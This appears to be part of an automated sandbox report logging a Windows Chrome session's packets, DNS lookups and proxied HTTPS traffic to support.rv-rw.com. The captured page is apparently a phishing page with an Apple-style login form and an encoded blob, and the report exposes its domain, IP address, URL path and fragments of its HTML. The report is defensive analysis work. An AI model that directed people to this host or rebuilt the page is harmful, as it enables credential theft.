Jan 13, 2025 01:39:53.651566029 CET	49807	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:53.651700020 CET	443	49807	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:53.651746988 CET	49808	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:53.651766062 CET	49807	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:53.651911974 CET	443	49808	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:53.652019024 CET	49808	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:53.659770966 CET	64946	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:53.659845114 CET	443	64946	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:53.660223007 CET	64946	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:53.660247087 CET	64947	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:53.660274029 CET	443	64947	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:53.660346985 CET	64947	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:53.660800934 CET	64947	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:53.660811901 CET	443	64947	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:53.660990000 CET	64946	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:53.661021948 CET	443	64946	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:55.501744032 CET	49820	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:55.501863956 CET	49822	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:55.501950026 CET	49821	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:55.502033949 CET	49823	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:55.502060890 CET	443	49820	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:55.502091885 CET	443	49822	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:55.502130985 CET	49820	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:55.502136946 CET	443	49823	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:55.502160072 CET	49822	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:55.502190113 CET	49823	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:55.502274990 CET	443	49821	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:55.502461910 CET	49821	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:40:00.839641094 CET	64951	443	192.168.2.5	216.58.206.36
Jan 13, 2025 01:40:00.839683056 CET	443	64951	216.58.206.36	192.168.2.5
Jan 13, 2025 01:40:00.839864016 CET	64951	443	192.168.2.5	216.58.206.36
Jan 13, 2025 01:40:00.840034962 CET	64951	443	192.168.2.5	216.58.206.36
Jan 13, 2025 01:40:00.840048075 CET	443	64951	216.58.206.36	192.168.2.5
Jan 13, 2025 01:40:01.475920916 CET	443	64951	216.58.206.36	192.168.2.5
Jan 13, 2025 01:40:01.476347923 CET	64951	443	192.168.2.5	216.58.206.36
Jan 13, 2025 01:40:01.476367950 CET	443	64951	216.58.206.36	192.168.2.5
Jan 13, 2025 01:40:01.477245092 CET	443	64951	216.58.206.36	192.168.2.5
Jan 13, 2025 01:40:01.477844000 CET	64951	443	192.168.2.5	216.58.206.36
Jan 13, 2025 01:40:01.477921963 CET	443	64951	216.58.206.36	192.168.2.5
Jan 13, 2025 01:40:01.523299932 CET	64951	443	192.168.2.5	216.58.206.36
Jan 13, 2025 01:40:11.389141083 CET	443	64951	216.58.206.36	192.168.2.5
Jan 13, 2025 01:40:11.389209032 CET	443	64951	216.58.206.36	192.168.2.5
Jan 13, 2025 01:40:11.389359951 CET	64951	443	192.168.2.5	216.58.206.36
Jan 13, 2025 01:40:13.391062021 CET	64951	443	192.168.2.5	216.58.206.36
Jan 13, 2025 01:40:13.391082048 CET	443	64951	216.58.206.36	192.168.2.5
Jan 13, 2025 01:40:24.554151058 CET	443	64947	89.250.71.221	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 13, 2025 01:38:56.593099117 CET	53	51869	1.1.1.1	192.168.2.5
Jan 13, 2025 01:38:56.631213903 CET	53	64825	1.1.1.1	192.168.2.5
Jan 13, 2025 01:38:57.602227926 CET	53	54712	1.1.1.1	192.168.2.5
Jan 13, 2025 01:39:00.780149937 CET	53685	53	192.168.2.5	1.1.1.1
Jan 13, 2025 01:39:00.780149937 CET	56164	53	192.168.2.5	1.1.1.1
Jan 13, 2025 01:39:00.936750889 CET	53	53685	1.1.1.1	192.168.2.5
Jan 13, 2025 01:39:00.936793089 CET	53	56164	1.1.1.1	192.168.2.5
Jan 13, 2025 01:39:02.645278931 CET	63344	53	192.168.2.5	1.1.1.1
Jan 13, 2025 01:39:02.645587921 CET	55366	53	192.168.2.5	1.1.1.1
Jan 13, 2025 01:39:03.680809021 CET	55456	53	192.168.2.5	1.1.1.1
Jan 13, 2025 01:39:03.681001902 CET	54555	53	192.168.2.5	1.1.1.1
Jan 13, 2025 01:39:04.659604073 CET	53	63344	1.1.1.1	192.168.2.5
Jan 13, 2025 01:39:04.660248041 CET	53	55366	1.1.1.1	192.168.2.5
Jan 13, 2025 01:39:06.740812063 CET	53	54555	1.1.1.1	192.168.2.5
Jan 13, 2025 01:39:07.771356106 CET	53	55456	1.1.1.1	192.168.2.5
Jan 13, 2025 01:39:15.362952948 CET	53	62153	1.1.1.1	192.168.2.5
Jan 13, 2025 01:39:15.640269995 CET	55616	53	192.168.2.5	1.1.1.1
Jan 13, 2025 01:39:15.640425920 CET	63093	53	192.168.2.5	1.1.1.1
Jan 13, 2025 01:39:15.647104979 CET	53	63093	1.1.1.1	192.168.2.5
Jan 13, 2025 01:39:15.647305012 CET	53	55616	1.1.1.1	192.168.2.5
Jan 13, 2025 01:39:16.755645037 CET	63977	53	192.168.2.5	1.1.1.1
Jan 13, 2025 01:39:16.755831003 CET	57711	53	192.168.2.5	1.1.1.1
Jan 13, 2025 01:39:16.762182951 CET	53	63977	1.1.1.1	192.168.2.5
Jan 13, 2025 01:39:16.763098001 CET	53	57711	1.1.1.1	192.168.2.5
Jan 13, 2025 01:39:23.471225023 CET	49835	53	192.168.2.5	1.1.1.1
Jan 13, 2025 01:39:23.471555948 CET	50710	53	192.168.2.5	1.1.1.1
Jan 13, 2025 01:39:23.662560940 CET	53	65509	1.1.1.1	192.168.2.5
Jan 13, 2025 01:39:24.990916967 CET	53	50710	1.1.1.1	192.168.2.5
Jan 13, 2025 01:39:25.487669945 CET	53	49835	1.1.1.1	192.168.2.5
Jan 13, 2025 01:39:37.505137920 CET	53	53403	1.1.1.1	192.168.2.5
Jan 13, 2025 01:39:38.933409929 CET	53	53788	162.159.36.2	192.168.2.5
Jan 13, 2025 01:39:39.841618061 CET	53	57312	1.1.1.1	192.168.2.5
Jan 13, 2025 01:39:56.136529922 CET	53	49568	1.1.1.1	192.168.2.5
Jan 13, 2025 01:40:03.026861906 CET	53	56738	1.1.1.1	192.168.2.5

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Jan 13, 2025 01:39:06.740935087 CET	192.168.2.5	1.1.1.1	c23f	(Port unreachable)	Destination Unreachable
Jan 13, 2025 01:39:07.771437883 CET	192.168.2.5	1.1.1.1	c1f8	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 13, 2025 01:39:00.780149937 CET	192.168.2.5	1.1.1.1	0x758c	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jan 13, 2025 01:39:00.780149937 CET	192.168.2.5	1.1.1.1	0x2c2b	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jan 13, 2025 01:39:02.645278931 CET	192.168.2.5	1.1.1.1	0x5cd	Standard query (0)	support.rv-rw.com	A (IP address)	IN (0x0001)	false
Jan 13, 2025 01:39:02.645587921 CET	192.168.2.5	1.1.1.1	0x87a4	Standard query (0)	support.rv-rw.com	65	IN (0x0001)	false
Jan 13, 2025 01:39:03.680809021 CET	192.168.2.5	1.1.1.1	0xd081	Standard query (0)	support.rv-rw.com	A (IP address)	IN (0x0001)	false
Jan 13, 2025 01:39:03.681001902 CET	192.168.2.5	1.1.1.1	0x3325	Standard query (0)	support.rv-rw.com	65	IN (0x0001)	false
Jan 13, 2025 01:39:15.640269995 CET	192.168.2.5	1.1.1.1	0xe84d	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Jan 13, 2025 01:39:15.640425920 CET	192.168.2.5	1.1.1.1	0x6c8	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Jan 13, 2025 01:39:16.755645037 CET	192.168.2.5	1.1.1.1	0x1de3	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Jan 13, 2025 01:39:16.755831003 CET	192.168.2.5	1.1.1.1	0xd37b	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Jan 13, 2025 01:39:23.471225023 CET	192.168.2.5	1.1.1.1	0xa219	Standard query (0)	support.rv-rw.com	A (IP address)	IN (0x0001)	false
Jan 13, 2025 01:39:23.471555948 CET	192.168.2.5	1.1.1.1	0x437b	Standard query (0)	support.rv-rw.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 13, 2025 01:39:00.936750889 CET	1.1.1.1	192.168.2.5	0x758c	No error (0)	www.google.com			65	IN (0x0001)	false
Jan 13, 2025 01:39:00.936793089 CET	1.1.1.1	192.168.2.5	0x2c2b	No error (0)	www.google.com		216.58.206.36	A (IP address)	IN (0x0001)	false
Jan 13, 2025 01:39:04.659604073 CET	1.1.1.1	192.168.2.5	0x5cd	No error (0)	support.rv-rw.com		89.250.71.221	A (IP address)	IN (0x0001)	false
Jan 13, 2025 01:39:07.771356106 CET	1.1.1.1	192.168.2.5	0xd081	No error (0)	support.rv-rw.com		89.250.71.221	A (IP address)	IN (0x0001)	false
Jan 13, 2025 01:39:10.133550882 CET	1.1.1.1	192.168.2.5	0x7b25	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 01:39:10.133550882 CET	1.1.1.1	192.168.2.5	0x7b25	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Jan 13, 2025 01:39:11.557727098 CET	1.1.1.1	192.168.2.5	0x5bc6	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.19	A (IP address)	IN (0x0001)	false
Jan 13, 2025 01:39:11.557727098 CET	1.1.1.1	192.168.2.5	0x5bc6	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.36	A (IP address)	IN (0x0001)	false
Jan 13, 2025 01:39:11.557727098 CET	1.1.1.1	192.168.2.5	0x5bc6	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.39	A (IP address)	IN (0x0001)	false
Jan 13, 2025 01:39:11.557727098 CET	1.1.1.1	192.168.2.5	0x5bc6	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.18	A (IP address)	IN (0x0001)	false
Jan 13, 2025 01:39:11.557727098 CET	1.1.1.1	192.168.2.5	0x5bc6	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.35	A (IP address)	IN (0x0001)	false
Jan 13, 2025 01:39:11.557727098 CET	1.1.1.1	192.168.2.5	0x5bc6	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.20	A (IP address)	IN (0x0001)	false
Jan 13, 2025 01:39:11.557727098 CET	1.1.1.1	192.168.2.5	0x5bc6	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.34	A (IP address)	IN (0x0001)	false
Jan 13, 2025 01:39:11.557727098 CET	1.1.1.1	192.168.2.5	0x5bc6	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.23	A (IP address)	IN (0x0001)	false
Jan 13, 2025 01:39:12.369040966 CET	1.1.1.1	192.168.2.5	0x21b3	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 01:39:12.369040966 CET	1.1.1.1	192.168.2.5	0x21b3	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Jan 13, 2025 01:39:15.647305012 CET	1.1.1.1	192.168.2.5	0xe84d	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Jan 13, 2025 01:39:15.647305012 CET	1.1.1.1	192.168.2.5	0xe84d	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Jan 13, 2025 01:39:15.647305012 CET	1.1.1.1	192.168.2.5	0xe84d	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Jan 13, 2025 01:39:15.647305012 CET	1.1.1.1	192.168.2.5	0xe84d	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Jan 13, 2025 01:39:16.762182951 CET	1.1.1.1	192.168.2.5	0x1de3	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Jan 13, 2025 01:39:16.762182951 CET	1.1.1.1	192.168.2.5	0x1de3	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Jan 13, 2025 01:39:16.762182951 CET	1.1.1.1	192.168.2.5	0x1de3	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Jan 13, 2025 01:39:16.762182951 CET	1.1.1.1	192.168.2.5	0x1de3	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Jan 13, 2025 01:39:24.879934072 CET	1.1.1.1	192.168.2.5	0x8468	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 01:39:24.879934072 CET	1.1.1.1	192.168.2.5	0x8468	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Jan 13, 2025 01:39:25.487669945 CET	1.1.1.1	192.168.2.5	0xa219	No error (0)	support.rv-rw.com		89.250.71.221	A (IP address)	IN (0x0001)	false
Jan 13, 2025 01:39:55.618092060 CET	1.1.1.1	192.168.2.5	0x38c9	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 01:39:55.618092060 CET	1.1.1.1	192.168.2.5	0x38c9	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Jan 13, 2025 01:40:09.489219904 CET	1.1.1.1	192.168.2.5	0x89	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 01:40:09.489219904 CET	1.1.1.1	192.168.2.5	0x89	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

support.rv-rw.com

https:

code.jquery.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49715	89.250.71.221	443	6484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 00:39:15 UTC	673	OUT	GET /aU3V88/c1.php HTTP/1.1 Host: support.rv-rw.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 00:39:15 UTC	185	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 00:39:15 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2025-01-13 00:39:15 UTC	8007	IN	Data Raw: 33 65 35 36 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 0d 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 73 73 2f 66 6f 6e 74 73 32 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 20 0d 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d 65 64 69 61 3d 22 73 63 72 65 65 6e 22 20 68 72 65 66 3d 22 63 73 73 2f 61 70 70 65 Data Ascii: 3e56<html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"> <link rel="stylesheet" href="css/fonts2.css" type="text/css"> <link rel="stylesheet" type="text/css" media="screen" href="css/appe
2025-01-13 00:39:15 UTC	7957	IN	Data Raw: 58 48 6f 42 71 57 52 2f 54 48 6e 66 76 65 50 75 79 6e 42 42 67 77 55 71 43 39 44 48 31 64 64 2f 33 41 41 46 41 78 37 71 67 67 30 77 6f 72 57 5a 73 71 70 62 76 78 75 74 31 50 42 5a 30 56 37 4d 39 51 4b 55 67 74 4f 38 70 78 65 47 50 4f 2b 73 68 37 59 71 75 73 53 58 45 4c 53 62 36 47 2f 56 44 52 6a 6f 77 51 49 37 31 51 4c 71 36 33 2b 54 50 71 2f 72 69 2b 6b 64 4d 5a 6a 77 66 48 54 53 67 74 45 73 58 6e 51 4d 6f 4a 4f 51 58 48 74 50 4c 77 7a 56 77 39 74 36 69 4b 74 58 4b 6a 2b 70 79 66 4f 68 6e 58 70 44 68 75 73 61 4c 46 42 62 67 4c 35 4f 6e 37 63 58 42 51 76 31 4d 4c 65 37 59 4c 51 56 4c 7a 6f 47 30 4c 70 69 45 45 37 61 66 36 6e 69 31 79 70 36 78 37 4f 67 73 58 64 73 54 4f 42 4a 67 55 75 58 57 48 78 39 54 33 38 42 63 4a 56 65 35 76 35 4d 72 57 65 67 42 77 76 Data Ascii: XHoBqWR/THnfvePuynBBgwUqC9DH1dd/3AAFAx7qgg0worWZsqpbvxut1PBZ0V7M9QKUgtO8pxeGPO+sh7YqusSXELSb6G/VDRjowQI71QLq63+TPq/ri+kdMZjwfHTSgtEsXnQMoJOQXHtPLwzVw9t6iKtXKj+pyfOhnXpDhusaLFBbgL5On7cXBQv1MLe7YLQVLzoG0LpiEE7af6ni1yp6x7OgsXdsTOBJgUuXWHx9T38BcJVe5v5MrWegBwv
2025-01-13 00:39:15 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-01-13 00:39:15 UTC	8192	IN	Data Raw: 31 66 34 30 0d 0a 33 4d 38 39 66 2f 34 63 79 38 32 59 36 38 4b 42 57 77 6e 34 33 63 32 36 55 66 68 54 50 54 6f 31 79 38 36 36 6b 6a 76 4a 66 47 2b 70 6c 75 64 31 50 31 4b 7a 4f 51 64 6b 32 45 5a 6f 75 4c 39 61 71 2b 64 63 6c 53 41 53 67 69 4f 59 55 58 46 69 72 4f 2b 6e 46 54 62 46 70 4b 4f 34 49 76 72 4d 70 53 48 52 37 6f 54 30 34 34 75 47 30 59 70 71 6e 77 2f 54 42 49 76 35 78 53 42 72 42 79 39 4a 55 79 53 45 64 2f 6c 61 6e 6c 34 70 4a 30 58 65 71 67 31 4d 65 49 36 6e 54 63 6d 56 79 6f 64 49 37 44 6e 55 79 2b 6e 2b 31 52 58 4e 79 61 34 77 78 67 37 47 71 42 50 79 34 4d 61 4b 44 47 33 30 31 7a 30 74 42 43 37 6f 6d 45 6f 34 4e 54 2f 34 73 47 34 36 58 54 77 4f 4c 6a 4a 67 46 51 52 76 38 63 5a 72 30 6f 30 5a 74 30 6e 5a 52 7a 38 35 54 2b 76 56 41 6a 75 61 34 Data Ascii: 1f403M89f/4cy82Y68KBWwn43c26UfhTPTo1y866kjvJfG+plud1P1KzOQdk2EZouL9aq+dclSASgiOYUXFirO+nFTbFpKO4IvrMpSHR7oT044uG0Ypqnw/TBIv5xSBrBy9JUySEd/lanl4pJ0Xeqg1MeI6nTcmVyodI7DnUy+n+1RXNya4wxg7GqBPy4MaKDG301z0tBC7omEo4NT/4sG46XTwOLjJgFQRv8cZr0o0Zt0nZRz85T+vVAjua4
2025-01-13 00:39:15 UTC	7822	IN	Data Raw: 73 38 73 4e 6a 5a 42 30 68 73 77 31 50 58 4e 4f 73 41 61 66 4a 34 65 75 6d 58 43 6d 66 37 56 4e 30 6c 59 7a 43 61 52 4d 39 2b 53 33 41 74 61 56 4c 61 70 49 4d 61 30 4f 76 4f 4e 41 49 6f 45 58 30 73 68 4e 7a 42 64 43 62 39 5a 50 6d 35 39 32 67 6e 70 75 47 6c 65 73 4f 30 57 76 31 75 6c 79 6d 34 2b 6e 65 45 62 59 59 73 65 6b 51 55 53 4c 6b 4b 32 5a 46 6c 76 72 68 6c 55 4f 45 36 55 34 31 32 79 4a 4a 32 2b 76 51 54 64 64 35 30 41 43 6a 42 6b 66 63 6b 36 34 4e 53 4f 65 6a 57 37 37 6f 68 79 69 4a 6a 74 49 6f 56 4e 66 53 72 72 4e 75 51 46 75 4b 31 64 75 6d 2b 64 5a 72 46 35 73 72 39 6e 5a 7a 75 69 32 35 64 4f 6e 7a 78 73 4f 46 62 4f 70 4e 2b 72 6e 6b 2f 5a 6f 44 31 4c 5a 48 66 7a 63 39 53 35 32 54 79 73 43 50 59 35 4a 41 56 6c 35 6e 64 38 76 55 65 55 6e 5a 71 49 Data Ascii: s8sNjZB0hsw1PXNOsAafJ4eumXCmf7VN0lYzCaRM9+S3AtaVLapIMa0OvONAIoEX0shNzBdCb9ZPm592gnpuGlesO0Wv1ulym4+neEbYYsekQUSLkK2ZFlvrhlUOE6U412yJJ2+vQTdd50ACjBkfck64NSOejW77ohyiJjtIoVNfSrrNuQFuK1dum+dZrF5sr9nZzui25dOnzxsOFbOpN+rnk/ZoD1LZHfzc9S52TysCPY5JAVl5nd8vUeUnZqI
2025-01-13 00:39:15 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-01-13 00:39:15 UTC	8192	IN	Data Raw: 31 66 34 30 0d 0a 72 6e 6e 4a 2f 54 45 2b 6c 6d 74 6b 74 32 4f 72 69 45 4d 46 72 67 59 46 74 42 62 68 73 4d 61 30 66 33 6d 66 66 66 64 39 2f 76 71 69 79 73 4d 5a 31 6e 49 56 46 33 78 66 70 4f 74 65 77 4c 58 47 71 39 52 76 43 44 6b 4f 65 63 30 7a 30 6c 62 7a 33 58 65 57 56 2f 6e 65 51 45 55 52 62 4f 41 74 4a 36 54 4d 74 52 6c 58 67 70 41 41 61 71 65 52 48 6a 78 4a 52 6b 67 35 71 66 51 41 4a 64 44 58 76 6a 71 4e 37 7a 68 44 65 38 57 30 48 39 36 41 43 72 57 48 73 4b 46 73 67 44 41 31 45 6a 76 33 2b 6c 4c 43 4c 2f 48 48 31 73 44 51 67 37 70 6a 33 6d 6d 2b 6d 65 38 77 78 64 67 41 35 67 41 31 41 75 66 39 59 49 51 6f 30 58 61 56 41 39 72 53 56 38 49 63 4b 4c 6e 67 67 45 55 5a 64 4d 38 61 51 31 53 44 52 6b 57 4e 49 78 59 31 4b 51 37 67 4b 72 30 49 76 4e 53 51 43 Data Ascii: 1f40rnnJ/TE+lmtkt2OriEMFrgYFtBbhsMa0f3mfffd9/vqiysMZ1nIVF3xfpOtewLXGq9RvCDkOec0z0lbz3XeWV/neQEURbOAtJ6TMtRlXgpAAaqeRHjxJRkg5qfQAJdDXvjqN7zhDe8W0H96ACrWHsKFsgDA1Ejv3+lLCL/HH1sDQg7pj3mm+me8wxdgA5gA1Auf9YIQo0XaVA9rSV8IcKLnggEUZdM8aQ1SDRkWNIxY1KQ7gKr0IvNSQC
2025-01-13 00:39:15 UTC	6672	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 69 65 6c 64 2d 77 72 61 70 20 66 6f 72 63 65 2d 6c 74 72 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0d 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: </div> <div class="field-wrap force-ltr">
2025-01-13 00:39:15 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-01-13 00:39:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49714	89.250.71.221	443	6484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 00:39:15 UTC	567	OUT	GET /aU3V88/css/fonts2.css HTTP/1.1 Host: support.rv-rw.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://support.rv-rw.com/aU3V88/c1.php Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 00:39:15 UTC	231	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 00:39:15 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Thu, 15 Aug 2024 23:42:42 GMT Accept-Ranges: bytes Content-Length: 8479 Content-Type: text/css
2025-01-13 00:39:15 UTC	7961	IN	Data Raw: 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0d 0d 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 4d 79 72 69 61 64 20 53 65 74 20 50 72 6f 27 3b 0d 0d 0a 09 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 0d 0d 0a 09 66 6f 6e 74 2d 77 65 69 67 68 74 3a 31 30 30 3b 0d 0d 0a 09 73 72 63 3a 6c 6f 63 61 6c 28 27 c3 a2 cb 9c c2 ba c3 af c2 b8 c5 bd 27 29 2c 20 75 72 6c 28 22 6d 79 72 69 61 64 2d 73 65 74 2d 70 72 6f 5f 75 6c 74 72 61 6c 69 67 68 74 2e 77 6f 66 66 22 29 20 66 6f 72 6d 61 74 28 22 77 6f 66 66 22 29 2c 20 75 72 6c 28 22 6d 79 72 69 61 64 2d 73 65 74 2d 70 72 6f 5f 75 6c 74 72 61 6c 69 67 68 74 2e 74 74 66 22 29 20 66 6f 72 6d 61 74 28 22 74 72 75 65 74 79 70 65 22 29 3b 0d 0d 0a 09 2f 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 31 39 39 32 20 41 Data Ascii: @font-face {font-family:'Myriad Set Pro';font-style:normal;font-weight:100;src:local(''), url("myriad-set-pro_ultralight.woff") format("woff"), url("myriad-set-pro_ultralight.ttf") format("truetype");/* Copyright (c) 1992 A
